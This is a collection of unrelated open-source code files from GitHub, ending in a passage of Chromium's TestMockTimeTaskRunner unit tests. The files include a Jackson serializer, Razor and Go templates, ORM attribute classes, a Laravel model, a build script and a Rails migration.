package com.gcplot.commons.serialization; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.MapperFeature; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature; import com.gcplot.utils.Exceptions; import java.io.IOException; import java.util.List; public abstract class JsonSerializer { private static final ObjectMapper mapper = new ObjectMapper(); static { mapper.configure(SerializationFeature.WRITE_EMPTY_JSON_ARRAYS, true); //mapper.configure(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES, true); mapper.disable(MapperFeature.AUTO_DETECT_FIELDS, MapperFeature.AUTO_DETECT_GETTERS, MapperFeature.AUTO_DETECT_IS_GETTERS); mapper.disable(SerializationFeature.FAIL_ON_EMPTY_BEANS); mapper.disableDefaultTyping(); } public static String serialize(Object msg) { try { return mapper.writer().writeValueAsString(msg); } catch (JsonProcessingException e) { throw Exceptions.runtime(e); } } public static <U> U deserialize(String input, Class<? extends U> type) { try { return mapper.readValue(input, type); } catch (IOException e) { throw Exceptions.runtime(e); } } public static <U> List<U> deserializeList(String input, Class<? extends U> type) { try { return mapper.readValue(input, mapper.getTypeFactory().constructCollectionType(List.class, type)); } catch (IOException e) { throw Exceptions.runtime(e); } } }
{ "pile_set_name": "Github" }
@model AspnetIdentitySample.Models.ToDo @{ ViewBag.Title = "Details"; } <h2>Details</h2> <div> <h4>ToDo</h4> <hr /> <dl class="dl-horizontal"> <dt> @Html.DisplayNameFor(model => model.Description) </dt> <dd> @Html.DisplayFor(model => model.Description) </dd> <dt> @Html.DisplayNameFor(model => model.IsDone) </dt> <dd> @Html.DisplayFor(model => model.IsDone) </dd> </dl> </div> <p> @Html.ActionLink("Edit", "Edit", new { id = Model.Id }) | @Html.ActionLink("Back to List", "Index") </p>
{ "pile_set_name": "Github" }
/* Copyright 2016 Goldman Sachs. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Portions copyright Hiroshi Ito. Licensed under Apache 2.0 license package com.gs.fw.common.mithra.attribute; import com.gs.fw.common.mithra.attribute.calculator.procedure.BigDecimalProcedure; import com.gs.fw.common.mithra.attribute.calculator.procedure.DoubleProcedure; import com.gs.fw.common.mithra.cache.offheap.OffHeapDoubleExtractorWithOffset; import com.gs.fw.common.mithra.cache.offheap.OffHeapExtractor; import com.gs.fw.common.mithra.databasetype.DatabaseType; import com.gs.fw.common.mithra.extractor.asm.ExtractorWriter; import com.gs.fw.common.mithra.finder.All; import com.gs.fw.common.mithra.finder.AtomicSelfNotEqualityOperation; import com.gs.fw.common.mithra.finder.None; import com.gs.fw.common.mithra.finder.Operation; import com.gs.fw.common.mithra.finder.RelatedFinder; import com.gs.fw.common.mithra.finder.SqlQuery; import com.gs.fw.common.mithra.finder.doubleop.DoubleEqOperation; import com.gs.fw.common.mithra.finder.doubleop.DoubleGreaterThanEqualsOperation; import com.gs.fw.common.mithra.finder.doubleop.DoubleGreaterThanOperation; import com.gs.fw.common.mithra.finder.doubleop.DoubleInOperation; import com.gs.fw.common.mithra.finder.doubleop.DoubleLessThanEqualsOperation; import com.gs.fw.common.mithra.finder.doubleop.DoubleLessThanOperation; import com.gs.fw.common.mithra.finder.doubleop.DoubleNotEqOperation; import com.gs.fw.common.mithra.finder.doubleop.DoubleNotInOperation; import com.gs.fw.common.mithra.tempobject.TupleTempContext; import com.gs.fw.common.mithra.util.ColumnInfo; import com.gs.fw.common.mithra.util.fileparser.BitsInBytes; import com.gs.fw.common.mithra.util.fileparser.ColumnarInStream; import com.gs.fw.common.mithra.util.fileparser.ColumnarOutStream; import org.eclipse.collections.api.set.primitive.DoubleSet; import org.slf4j.Logger; import java.io.IOException; import java.io.ObjectStreamException; import java.io.OutputStream; import java.math.BigDecimal; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Types; import java.util.List; import java.util.Map; import java.util.TimeZone; public abstract class SingleColumnDoubleAttribute<T> extends DoubleAttribute<T> implements SingleColumnAttribute<T> { private static final ExtractorWriter extractorWriter = ExtractorWriter.doubleExtractorWriter(); private transient String columnName; private transient String uniqueAlias = ""; protected SingleColumnDoubleAttribute(String columnName, String uniqueAlias, String attributeName, String busClassNameWithDots, String busClassName, boolean isNullablePrimitive, boolean hasBusDate, RelatedFinder relatedFinder, Map<String, Object> properties, boolean isTransactional, boolean isOptimistic) { this.columnName = columnName; this.uniqueAlias = uniqueAlias; this.setAll(attributeName, busClassNameWithDots, busClassName, isNullablePrimitive, relatedFinder, properties, isTransactional); } private static final long serialVersionUID = -988455817082024623L; protected SingleColumnDoubleAttribute() {} public void setSqlParameters(PreparedStatement pps, Object mithraDataObject, int pos, TimeZone databaseTimeZone, DatabaseType databaseType) throws SQLException { if (this.isAttributeNull((T) mithraDataObject)) { pps.setNull(pos, java.sql.Types.DOUBLE); } else { pps.setDouble(pos, this.doubleValueOf((T) mithraDataObject)); } } public void setColumnName(String columnName) { this.columnName = columnName; } public boolean isSourceAttribute() { return this.columnName == null; } public String getColumnName() { return this.columnName; } public Operation eq(double other) { return new DoubleEqOperation(this, other); } public Operation notEq(double other) { return new DoubleNotEqOperation(this, other); } @Override public Operation in(DoubleSet doubleSet) { Operation op; switch (doubleSet.size()) { case 0: op = new None(this); break; case 1: op = this.eq(doubleSet.doubleIterator().next()); break; default: op = new DoubleInOperation(this, doubleSet); break; } return op; } @Override public Operation notIn(DoubleSet doubleSet) { Operation op; switch (doubleSet.size()) { case 0: op = new All(this); break; case 1: op = this.notEq(doubleSet.doubleIterator().next()); break; default: op = new DoubleNotInOperation(this, doubleSet); break; } return op; } public Operation greaterThan(double target) { return new DoubleGreaterThanOperation(this, target); } public Operation greaterThanEquals(double target) { return new DoubleGreaterThanEqualsOperation(this, target); } public Operation lessThan(double target) { return new DoubleLessThanOperation(this, target); } public Operation lessThanEquals(double target) { return new DoubleLessThanEqualsOperation(this, target); } public Operation eq(DoubleAttribute other) { return this.joinEqWithSourceAndAsOfCheck(other); } public Operation joinEq(DoubleAttribute other) { return this.joinEqWithSourceAndAsOfCheck(other); } public Operation filterEq(DoubleAttribute other) { return this.filterEqWithCheck(other); } public Operation notEq(DoubleAttribute other) { if (this.getOwnerPortal().equals(other.getOwnerPortal())) { if (other instanceof MappedAttribute) { other = (DoubleAttribute) ((MappedAttribute)other).getWrappedAttribute(); } return new AtomicSelfNotEqualityOperation(this, other); } throw new RuntimeException("Non-equality join is not yet supported"); } public String getFullyQualifiedLeftHandExpression(SqlQuery query) { String result = this.getColumnName(); String databaseAlias = query.getDatabaseAlias(this.getOwnerPortal()); if (databaseAlias != null) { if (this.uniqueAlias.length() > 0) { result = databaseAlias + this.uniqueAlias + "." + result; } else { result = databaseAlias + "." + result; } } return result; } public void forEach(final DoubleProcedure proc, T o, Object context) { if (this.isAttributeNull(o)) { proc.executeForNull(context); } else { proc.execute(this.doubleValueOf(o), context); } } public void forEach(final BigDecimalProcedure proc, T o, Object context) { if (!checkForNull(proc, o, context)) { proc.execute(new BigDecimal(this.doubleValueOf(o)), context); } } protected Object writeReplace() throws ObjectStreamException { return this.getSerializationReplacement(); } public void appendColumnDefinition(StringBuilder sb, DatabaseType dt, Logger sqlLogger, boolean mustBeIndexable) { sb.append(this.columnName).append(' ').append(dt.getSqlDataTypeForDouble()); appendNullable(sb, dt); } public boolean verifyColumn(ColumnInfo info) { if (info.isNullable() != this.isNullable()) return false; if (info.getType() == Types.FLOAT) return info.getSize() == 8; return info.getType() == Types.DECIMAL || info.getType() == Types.NUMERIC || info.getType() == Types.DOUBLE; } public SingleColumnAttribute createTupleAttribute(int pos, TupleTempContext tupleTempContext) { return new SingleColumnTupleDoubleAttribute(pos, this.isNullable(), tupleTempContext); } public static SingleColumnDoubleAttribute generate(String columnName, String uniqueAlias, String attributeName, String busClassNameWithDots, String busClassName, boolean isNullablePrimitive, boolean hasBusDate, RelatedFinder relatedFinder, Map<String, Object> properties, boolean isTransactional, boolean isOptimistic, int offHeapFieldOffset, int offHeapNullBitsOffset, int offHeapNullBitsPosition, boolean hasShadowAttribute) { SingleColumnDoubleAttribute e = generateInternal(columnName, uniqueAlias, attributeName, busClassNameWithDots, busClassName, isNullablePrimitive, hasBusDate, relatedFinder, properties, isTransactional, isOptimistic, offHeapFieldOffset, offHeapNullBitsOffset, offHeapNullBitsPosition, false); if (hasShadowAttribute) { SingleColumnDoubleAttribute shadow = generateInternal(columnName, uniqueAlias, attributeName, busClassNameWithDots, busClassName, isNullablePrimitive, hasBusDate, relatedFinder, properties, isTransactional, isOptimistic, offHeapFieldOffset, offHeapNullBitsOffset, offHeapNullBitsPosition, true); e.setShadowAttribute(shadow); } return e; } private static SingleColumnDoubleAttribute generateInternal(String columnName, String uniqueAlias, String attributeName, String busClassNameWithDots, String busClassName, boolean isNullablePrimitive, boolean hasBusDate, RelatedFinder relatedFinder, Map<String, Object> properties, boolean isTransactional, boolean isOptimistic, int offHeapFieldOffset, int offHeapNullBitsOffset, int offHeapNullBitsPosition, boolean hasShadowAttribute) { SingleColumnDoubleAttribute e; try { e = (SingleColumnDoubleAttribute) extractorWriter.createClass(attributeName, isNullablePrimitive, hasBusDate, busClassNameWithDots, busClassName, isOptimistic, offHeapFieldOffset, offHeapNullBitsOffset, offHeapNullBitsPosition, "com/gs/fw/common/mithra/attribute/SingleColumnDoubleAttribute", false, hasShadowAttribute).newInstance(); } catch (Exception excp) { throw new RuntimeException("could not create class for "+attributeName+" in "+busClassName, excp); } e.columnName = columnName; e.uniqueAlias = uniqueAlias; e.setAll(attributeName, busClassNameWithDots, busClassName, isNullablePrimitive, relatedFinder, properties, isTransactional); e.setOffHeapOffsets(offHeapFieldOffset, offHeapNullBitsOffset, offHeapNullBitsPosition); return e; } public Object readResultSet(ResultSet rs, int pos, DatabaseType databaseType, TimeZone timeZone) throws SQLException { double result = rs.getDouble(pos); if (rs.wasNull()) return null; return result; } public void writeValueToStream(T object, OutputStreamFormatter formatter, OutputStream os) throws IOException { formatter.write(this.doubleValueOf(object), os); } @Override public OffHeapExtractor zCreateOffHeapExtractor() { return new OffHeapDoubleExtractorWithOffset(this.offHeapFieldOffset, this.offHeapNullBitsOffset, this.offHeapNullBitsPosition); } @Override public void zDecodeColumnarData(List data, ColumnarInStream in) throws IOException { BitsInBytes nulls = in.decodeColumnarNull(this, data); DoubleAttribute attr = (DoubleAttribute) this; long[] values = new long[data.size()]; for(int p = 0; p < 64; p+=8) { for (int i = 0; i < data.size(); i++) { if (nulls == null || !nulls.get(i)) { values[i] |= (((long)in.readWithException()) << p); } } } for (int i = 0; i < data.size(); i++) { if (nulls == null || !nulls.get(i)) { attr.setDoubleValue(data.get(i), Double.longBitsToDouble(values[i])); } } } @Override public void zEncodeColumnarData(List data, ColumnarOutStream out) throws IOException { BitsInBytes nulls = out.encodeColumnarNull(data, this); DoubleAttribute attr = (DoubleAttribute) this; for(int p = 0; p < 64; p+=8) { for (int i = 0; i < data.size(); i++) { if (nulls == null || !nulls.get(i)) { long v = Double.doubleToRawLongBits(attr.doubleValueOf(data.get(i))); out.write((byte) ((v >>> p) & 0xFF)); } } } } @Override public Object zDecodeColumnarData(ColumnarInStream in, int count) throws IOException { throw new RuntimeException("not implemented"); } @Override public void zWritePlainTextFromColumnar(Object columnData, int row, ColumnarOutStream out) throws IOException { throw new RuntimeException("not implemented"); } }
{ "pile_set_name": "Github" }
{/* This is the action template. It determines how the formatting actions are rendered. */} {{define "section"}} <h{{len .Number}} id="TOC_{{.FormattedNumber}}">{{.FormattedNumber}} {{.Title}}</h{{len .Number}}> {{range .Elem}}{{elem $.Template .}}{{end}} {{end}} {{define "list"}} <ul> {{range .Bullet}} <li>{{style .}}</li> {{end}} </ul> {{end}} {{define "text"}} {{if .Pre}} <div class="code"><pre>{{range .Lines}}{{.}}{{end}}</pre></div> {{else}} <p> {{range $i, $l := .Lines}}{{if $i}}{{template "newline"}} {{end}}{{style $l}}{{end}} </p> {{end}} {{end}} {{define "code"}} <div class="code{{if playable .}} playground{{end}}" {{if .Edit}}contenteditable="true" spellcheck="false"{{end}}>{{.Text}}</div> {{end}} {{define "image"}} <div class="image"> <img src="{{.URL}}"{{with .Height}} height="{{.}}"{{end}}{{with .Width}} width="{{.}}"{{end}}> </div> {{end}} {{define "video"}} <div class="video"> <video {{with .Height}} height="{{.}}"{{end}}{{with .Width}} width="{{.}}"{{end}} controls> <source src="{{.URL}}" type="{{.SourceType}}"> </video> </div> {{end}} {{define "background"}} <div class="background"> <img src="{{.URL}}"> </div> {{end}} {{define "iframe"}} <iframe src="{{.URL}}"{{with .Height}} height="{{.}}"{{end}}{{with .Width}} width="{{.}}"{{end}}></iframe> {{end}} {{define "link"}}<p class="link"><a href="{{.URL}}" target="_blank">{{style .Label}}</a></p>{{end}} {{define "html"}}{{.HTML}}{{end}} {{define "caption"}}<figcaption>{{style .Text}}</figcaption>{{end}}
{ "pile_set_name": "Github" }
#!/bin/sh -e ./configure \ --prefix=/usr \ --enable-malloc0returnsnull make make DESTDIR="$1" install
{ "pile_set_name": "Github" }
namespace Util.Tools.Sms.LuoSiMao { /// <summary> /// LuoSiMao短信配置 /// </summary> public class SmsConfig { /// <summary> /// 初始化短信配置 /// </summary> /// <param name="key">密钥</param> public SmsConfig( string key ) { Key = key; } /// <summary> /// 密钥 /// </summary> public string Key { get; } } }
{ "pile_set_name": "Github" }
// Copyright (c) 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "net/base/network_activity_monitor.h" namespace net { namespace { base::LazyInstance<NetworkActivityMonitor>::Leaky g_network_activity_monitor = LAZY_INSTANCE_INITIALIZER; } // namespace NetworkActivityMonitor::NetworkActivityMonitor() : bytes_received_(0), bytes_sent_(0) { } NetworkActivityMonitor::~NetworkActivityMonitor() = default; // static NetworkActivityMonitor* NetworkActivityMonitor::GetInstance() { return g_network_activity_monitor.Pointer(); } void NetworkActivityMonitor::IncrementBytesReceived(uint64_t bytes_received) { base::TimeTicks now = base::TimeTicks::Now(); base::AutoLock lock(lock_); bytes_received_ += bytes_received; last_received_ticks_ = now; } void NetworkActivityMonitor::IncrementBytesSent(uint64_t bytes_sent) { base::TimeTicks now = base::TimeTicks::Now(); base::AutoLock lock(lock_); bytes_sent_ += bytes_sent; last_sent_ticks_ = now; } uint64_t NetworkActivityMonitor::GetBytesReceived() const { base::AutoLock lock(lock_); return bytes_received_; } uint64_t NetworkActivityMonitor::GetBytesSent() const { base::AutoLock lock(lock_); return bytes_sent_; } base::TimeDelta NetworkActivityMonitor::GetTimeSinceLastReceived() const { base::TimeTicks now = base::TimeTicks::Now(); base::AutoLock lock(lock_); return now - last_received_ticks_; } base::TimeDelta NetworkActivityMonitor::GetTimeSinceLastSent() const { base::TimeTicks now = base::TimeTicks::Now(); base::AutoLock lock(lock_); return now - last_sent_ticks_; } } // namespace net
{ "pile_set_name": "Github" }
<?php namespace App\Models; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\BelongsToMany; use Illuminate\Database\Eloquent\Relations\HasOne; use Prettus\Repository\Contracts\Transformable; use Prettus\Repository\Traits\TransformableTrait; /** * Class Fisica. * * @package namespace App\Entities; */ class LegacyIndividual extends EloquentBaseModel implements Transformable { use TransformableTrait; use HasFiles; /** * @var string */ protected $table = 'cadastro.fisica'; /** * @var string */ protected $primaryKey = 'idpes'; /** * @var array */ protected $fillable = [ 'idpes', 'data_nascimento', 'zona_localizacao_censo', 'idpes', 'data_nasc', 'sexo', 'idpes_mae', 'idpes_pai', 'idpes_responsavel', 'idesco', 'ideciv', 'idpes_con', 'data_uniao', 'data_obito', 'nacionalidade', 'idpais_estrangeiro', 'data_chegada_brasil', 'idmun_nascimento', 'ultima_empresa', 'idocup', 'nome_mae', 'nome_pai', 'nome_conjuge', 'nome_responsavel', 'justificativa_provisorio', 'idpes_rev', 'data_rev', 'origem_gravacao', 'idpes_cad', 'data_cad', 'operacao', 'ref_cod_sistema', 'cpf', 'ref_cod_religiao', 'nis_pis_pasep', 'sus', 'ocupacao', 'empresa', 'pessoa_contato', 'renda_mensal', 'data_admissao', 'ddd_telefone_empresa', 'telefone_empresa', 'falecido', 'ativo', 'ref_usuario_exc', 'data_exclusao', 'zona_localizacao_censo', 'tipo_trabalho', 'local_trabalho', 'horario_inicial_trabalho', 'horario_final_trabalho', 'nome_social', 'pais_residencia', 'localizacao_diferenciada', ]; /** * @var bool */ public $timestamps = false; /** * @return BelongsToMany */ public function race() { return $this->belongsToMany( LegacyRace::class, 'cadastro.fisica_raca', 'ref_idpes', 'ref_cod_raca' ); } /** * @return BelongsToMany */ public function deficiency() { return $this->belongsToMany( LegacyDeficiency::class, 'cadastro.fisica_deficiencia', 'ref_idpes', 'ref_cod_deficiencia' ); } /** * @return HasOne */ public function person() { return $this->hasOne(LegacyPerson::class, 'idpes', 'idpes'); } /** * @return HasOne */ public function document() { return $this->hasOne(LegacyDocument::class, 'idpes'); } /** * @return HasOne */ public function picture() { return $this->hasOne(LegacyIndividualPicture::class, 'idpes'); } /** * @inheritDoc */ protected static function boot() { parent::boot(); static::creating(function ($model) { $model->data_cad = now(); $model->origem_gravacao = 'M'; $model->operacao = 'I'; $model->pais_residencia = $model->pais_residencia ?? 76; }); } /** * @param string $cpf * * @return $this */ public static function findByCpf($cpf) { $cpf = preg_replace('/[^0-9]/', '', $cpf); $cpf = intval($cpf); return static::query()->where('cpf', $cpf)->first(); } }
{ "pile_set_name": "Github" }
/** * This file is part of Erjang - A JVM-based Erlang VM * * Copyright (c) 2010 by Trifork * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. **/ package erjang.util; import java.io.IOException; import java.util.concurrent.atomic.AtomicInteger; import erjang.ERT; public class Progress { static ProgressListener listener; public static void setListener(ProgressListener listener) { Progress.listener = listener; } static AtomicInteger step = new AtomicInteger(); static byte[][] wheel = new byte[][] { new byte[] { '|', '\b' }, new byte[] { '/', '\b' }, new byte[] { '-', '\b' }, new byte[] { '\\', '\b' }, }; static public void activity(String string) { if (listener != null) { listener.progress(string); } else { int next = step.incrementAndGet(); try { //there is a global System.property to suppress the output String suppress = System.getProperty("erjang.progress.suppress"); if (suppress == null) { suppress = "false"; } if (!Boolean.parseBoolean(suppress)) { ERT.getErrorStream().write(wheel[next % 4]); } } catch (IOException e) { // ignore } } } public static void done() { } }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2014, Oracle and/or its affiliates. All rights reserved. * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms. * * * * * * * * * * * * * * * * * * */ package jdk.vm.ci.hotspot; /** * An empty implementation for {@link EventProvider}. This implementation is used when no logging is * requested. */ final class EmptyEventProvider implements EventProvider { static InternalError shouldNotReachHere() { throw new InternalError("should not reach here"); } @Override public CompilationEvent newCompilationEvent() { return new EmptyCompilationEvent(); } static class EmptyCompilationEvent implements CompilationEvent { public void commit() { throw shouldNotReachHere(); } public boolean shouldWrite() { // Events of this class should never been written. return false; } public void begin() { } public void end() { } public void setMethod(String method) { throw shouldNotReachHere(); } public void setCompileId(int compileId) { throw shouldNotReachHere(); } public void setCompileLevel(int compileLevel) { throw shouldNotReachHere(); } public void setSucceeded(boolean succeeded) { throw shouldNotReachHere(); } public void setIsOsr(boolean isOsr) { throw shouldNotReachHere(); } public void setCodeSize(int codeSize) { throw shouldNotReachHere(); } public void setInlinedBytes(int inlinedBytes) { throw shouldNotReachHere(); } } @Override public CompilerFailureEvent newCompilerFailureEvent() { return new EmptyCompilerFailureEvent(); } static class EmptyCompilerFailureEvent implements CompilerFailureEvent { public void commit() { throw shouldNotReachHere(); } public boolean shouldWrite() { // Events of this class should never been written. return false; } public void setCompileId(int compileId) { throw shouldNotReachHere(); } public void setMessage(String message) { throw shouldNotReachHere(); } } }
{ "pile_set_name": "Github" }
class AddAdminFlagToUsers < ActiveRecord::Migration def change add_column :users, :admin, :boolean, :default => false end end
{ "pile_set_name": "Github" }
// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/test/test_mock_time_task_runner.h" #include "base/bind.h" #include "base/bind_helpers.h" #include "base/cancelable_callback.h" #include "base/memory/ref_counted.h" #include "base/run_loop.h" #include "base/test/bind_test_util.h" #include "base/test/gtest_util.h" #include "base/test/test_timeouts.h" #include "base/threading/sequenced_task_runner_handle.h" #include "base/threading/thread.h" #include "base/threading/thread_task_runner_handle.h" #include "base/time/time.h" #include "testing/gtest/include/gtest/gtest.h" namespace base { // Basic usage should work the same from default and bound // TestMockTimeTaskRunners. TEST(TestMockTimeTaskRunnerTest, Basic) { static constexpr TestMockTimeTaskRunner::Type kTestCases[] = { TestMockTimeTaskRunner::Type::kStandalone, TestMockTimeTaskRunner::Type::kBoundToThread}; for (auto type : kTestCases) { SCOPED_TRACE(static_cast<int>(type)); auto mock_time_task_runner = MakeRefCounted<TestMockTimeTaskRunner>(type); int counter = 0; mock_time_task_runner->PostTask( FROM_HERE, base::BindOnce([](int* counter) { *counter += 1; }, Unretained(&counter))); mock_time_task_runner->PostTask( FROM_HERE, base::BindOnce([](int* counter) { *counter += 32; }, Unretained(&counter))); mock_time_task_runner->PostDelayedTask( FROM_HERE, base::BindOnce([](int* counter) { *counter += 256; }, Unretained(&counter)), TimeDelta::FromSeconds(3)); mock_time_task_runner->PostDelayedTask( FROM_HERE, base::BindOnce([](int* counter) { *counter += 64; }, Unretained(&counter)), TimeDelta::FromSeconds(1)); mock_time_task_runner->PostDelayedTask( FROM_HERE, base::BindOnce([](int* counter) { *counter += 1024; }, Unretained(&counter)), TimeDelta::FromMinutes(20)); mock_time_task_runner->PostDelayedTask( FROM_HERE, base::BindOnce([](int* counter) { *counter += 4096; }, Unretained(&counter)), TimeDelta::FromDays(20)); int expected_value = 0; EXPECT_EQ(expected_value, counter); mock_time_task_runner->RunUntilIdle(); expected_value += 1; expected_value += 32; EXPECT_EQ(expected_value, counter); mock_time_task_runner->RunUntilIdle(); EXPECT_EQ(expected_value, counter); mock_time_task_runner->FastForwardBy(TimeDelta::FromSeconds(1)); expected_value += 64; EXPECT_EQ(expected_value, counter); mock_time_task_runner->FastForwardBy(TimeDelta::FromSeconds(5)); expected_value += 256; EXPECT_EQ(expected_value, counter); mock_time_task_runner->FastForwardUntilNoTasksRemain(); expected_value += 1024; expected_value += 4096; EXPECT_EQ(expected_value, counter); } } // A default TestMockTimeTaskRunner shouldn't result in a thread association. TEST(TestMockTimeTaskRunnerTest, DefaultUnbound) { auto unbound_mock_time_task_runner = MakeRefCounted<TestMockTimeTaskRunner>(); EXPECT_FALSE(ThreadTaskRunnerHandle::IsSet()); EXPECT_FALSE(SequencedTaskRunnerHandle::IsSet()); EXPECT_DEATH_IF_SUPPORTED({ RunLoop().RunUntilIdle(); }, ""); } TEST(TestMockTimeTaskRunnerTest, RunLoopDriveableWhenBound) { auto bound_mock_time_task_runner = MakeRefCounted<TestMockTimeTaskRunner>( TestMockTimeTaskRunner::Type::kBoundToThread); int counter = 0; ThreadTaskRunnerHandle::Get()->PostTask( FROM_HERE, base::BindOnce([](int* counter) { *counter += 1; }, Unretained(&counter))); ThreadTaskRunnerHandle::Get()->PostTask( FROM_HERE, base::BindOnce([](int* counter) { *counter += 32; }, Unretained(&counter))); ThreadTaskRunnerHandle::Get()->PostDelayedTask( FROM_HERE, base::BindOnce([](int* counter) { *counter += 256; }, Unretained(&counter)), TimeDelta::FromSeconds(3)); ThreadTaskRunnerHandle::Get()->PostDelayedTask( FROM_HERE, base::BindOnce([](int* counter) { *counter += 64; }, Unretained(&counter)), TimeDelta::FromSeconds(1)); ThreadTaskRunnerHandle::Get()->PostDelayedTask( FROM_HERE, base::BindOnce([](int* counter) { *counter += 1024; }, Unretained(&counter)), TimeDelta::FromMinutes(20)); ThreadTaskRunnerHandle::Get()->PostDelayedTask( FROM_HERE, base::BindOnce([](int* counter) { *counter += 4096; }, Unretained(&counter)), TimeDelta::FromDays(20)); int expected_value = 0; EXPECT_EQ(expected_value, counter); RunLoop().RunUntilIdle(); expected_value += 1; expected_value += 32; EXPECT_EQ(expected_value, counter); RunLoop().RunUntilIdle(); EXPECT_EQ(expected_value, counter); { RunLoop run_loop; ThreadTaskRunnerHandle::Get()->PostDelayedTask( FROM_HERE, run_loop.QuitClosure(), TimeDelta::FromSeconds(1)); ThreadTaskRunnerHandle::Get()->PostDelayedTask( FROM_HERE, base::BindOnce([](int* counter) { *counter += 8192; }, Unretained(&counter)), TimeDelta::FromSeconds(1)); // The QuitClosure() should be ordered between the 64 and the 8192 // increments and should preempt the latter. run_loop.Run(); expected_value += 64; EXPECT_EQ(expected_value, counter); // Running until idle should process the 8192 increment whose delay has // expired in the previous Run(). RunLoop().RunUntilIdle(); expected_value += 8192; EXPECT_EQ(expected_value, counter); } { RunLoop run_loop; ThreadTaskRunnerHandle::Get()->PostDelayedTask( FROM_HERE, run_loop.QuitWhenIdleClosure(), TimeDelta::FromSeconds(5)); ThreadTaskRunnerHandle::Get()->PostDelayedTask( FROM_HERE, base::BindOnce([](int* counter) { *counter += 16384; }, Unretained(&counter)), TimeDelta::FromSeconds(5)); // The QuitWhenIdleClosure() shouldn't preempt equally delayed tasks and as // such the 16384 increment should be processed before quitting. run_loop.Run(); expected_value += 256; expected_value += 16384; EXPECT_EQ(expected_value, counter); } // Process the remaining tasks (note: do not mimic this elsewhere, // TestMockTimeTaskRunner::FastForwardUntilNoTasksRemain() is a better API to // do this, this is just done here for the purpose of extensively testing the // RunLoop approach). RunLoop run_loop; ThreadTaskRunnerHandle::Get()->PostDelayedTask( FROM_HERE, run_loop.QuitWhenIdleClosure(), TimeDelta::FromDays(50)); run_loop.Run(); expected_value += 1024; expected_value += 4096; EXPECT_EQ(expected_value, counter); } TEST(TestMockTimeTaskRunnerTest, AvoidCaptureWhenBound) { // Make sure that capturing the active task runner --- which sometimes happens // unknowingly due to ThreadsafeObserverList deep within some singleton --- // does not keep the entire TestMockTimeTaskRunner alive, as in bound mode // that's a RunLoop::Delegate, and leaking that renders any further tests that // need RunLoop support unrunnable. // // (This used to happen when code run from ProcessAllTasksNoLaterThan grabbed // the runner.). scoped_refptr<SingleThreadTaskRunner> captured; { auto task_runner = MakeRefCounted<TestMockTimeTaskRunner>( TestMockTimeTaskRunner::Type::kBoundToThread); task_runner->PostTask(FROM_HERE, base::BindLambdaForTesting([&]() { captured = ThreadTaskRunnerHandle::Get(); })); task_runner->RunUntilIdle(); } { // This should not complain about RunLoop::Delegate already existing. auto task_runner2 = MakeRefCounted<TestMockTimeTaskRunner>( TestMockTimeTaskRunner::Type::kBoundToThread); } } // Regression test that receiving the quit-when-idle signal when already empty // works as intended (i.e. that |TestMockTimeTaskRunner::tasks_lock_cv| is // properly signaled). TEST(TestMockTimeTaskRunnerTest, RunLoopQuitFromIdle) { auto bound_mock_time_task_runner = MakeRefCounted<TestMockTimeTaskRunner>( TestMockTimeTaskRunner::Type::kBoundToThread); Thread quitting_thread("quitting thread"); quitting_thread.Start(); RunLoop run_loop; quitting_thread.task_runner()->PostDelayedTask( FROM_HERE, run_loop.QuitWhenIdleClosure(), TestTimeouts::tiny_timeout()); run_loop.Run(); } TEST(TestMockTimeTaskRunnerTest, TakePendingTasks) { auto task_runner = MakeRefCounted<TestMockTimeTaskRunner>(); task_runner->PostTask(FROM_HERE, DoNothing()); EXPECT_TRUE(task_runner->HasPendingTask()); EXPECT_EQ(1u, task_runner->TakePendingTasks().size()); EXPECT_FALSE(task_runner->HasPendingTask()); } TEST(TestMockTimeTaskRunnerTest, CancelPendingTask) { auto task_runner = MakeRefCounted<TestMockTimeTaskRunner>(); CancelableOnceClosure task1(DoNothing::Once()); task_runner->PostDelayedTask(FROM_HERE, task1.callback(), TimeDelta::FromSeconds(1)); EXPECT_TRUE(task_runner->HasPendingTask()); EXPECT_EQ(1u, task_runner->GetPendingTaskCount()); EXPECT_EQ(TimeDelta::FromSeconds(1), task_runner->NextPendingTaskDelay()); task1.Cancel(); EXPECT_FALSE(task_runner->HasPendingTask()); CancelableOnceClosure task2(DoNothing::Once()); task_runner->PostDelayedTask(FROM_HERE, task2.callback(), TimeDelta::FromSeconds(1)); task2.Cancel(); EXPECT_EQ(0u, task_runner->GetPendingTaskCount()); CancelableOnceClosure task3(DoNothing::Once()); task_runner->PostDelayedTask(FROM_HERE, task3.callback(), TimeDelta::FromSeconds(1)); task3.Cancel(); EXPECT_EQ(TimeDelta::Max(), task_runner->NextPendingTaskDelay()); CancelableOnceClosure task4(DoNothing::Once()); task_runner->PostDelayedTask(FROM_HERE, task4.callback(), TimeDelta::FromSeconds(1)); task4.Cancel(); EXPECT_TRUE(task_runner->TakePendingTasks().empty()); } TEST(TestMockTimeTaskRunnerTest, NoFastForwardToCancelledTask) { auto task_runner = MakeRefCounted<TestMockTimeTaskRunner>(); TimeTicks start_time = task_runner->NowTicks(); CancelableOnceClosure task(DoNothing::Once()); task_runner->PostDelayedTask(FROM_HERE, task.callback(), TimeDelta::FromSeconds(1)); EXPECT_EQ(TimeDelta::FromSeconds(1), task_runner->NextPendingTaskDelay()); task.Cancel(); 